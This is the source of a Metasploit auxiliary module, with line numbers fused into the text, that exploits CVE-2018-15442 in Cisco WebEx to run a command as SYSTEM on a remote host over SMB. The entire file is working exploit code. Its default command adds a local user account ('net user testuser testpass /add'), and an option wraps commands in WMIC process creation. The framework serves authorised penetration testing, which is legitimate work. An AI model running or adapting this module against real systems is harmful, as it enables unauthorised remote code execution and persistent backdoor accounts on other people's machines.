Path: blob/master/modules/auxiliary/admin/smb/webexec_command.rb
31419 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::WebExec7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910# Aliases for common classes11SIMPLE = Rex::Proto::SMB::SimpleClient12XCEPT = Rex::Proto::SMB::Exceptions13CONST = Rex::Proto::SMB::Constants1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'WebEx Remote Command Execution Utility',20'Description' => %q{21This module enables the execution of a single command as System by exploiting a remote22code execution vulnerability in Cisco's WebEx client software.23},2425'Author' => [26'Ron Bowes <[email protected]>',27],2829'License' => MSF_LICENSE,30'References' => [31['URL', 'https://webexec.org'],32['CVE', '2018-15442'],33['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]34],35'Notes' => {36'Stability' => [CRASH_SAFE],37'SideEffects' => [IOC_IN_LOGS],38'Reliability' => []39}40)41)4243register_options([44OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),45OptPort.new('RPORT', [true, 'The Target port', 445]),46OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),47])48end4950# This is the main control method51def run_host(ip)52@smbshare = datastore['SMBSHARE']53@ip = ip5455# Try and authenticate with given credentials56if connect57begin58smb_login59rescue Rex::Proto::SMB::Exceptions::Error => e60print_error("Unable to authenticate with given credentials: #{e}")61return62end6364command = datastore['COMMAND']65if datastore['FORCE_GUI']66command = "WMIC PROCESS CALL Create \"#{command}\""67end6869wexec(true) do |opts|70execute_single_command(command, opts)71end7273print_good('Command completed!')74disconnect75end76end77end787980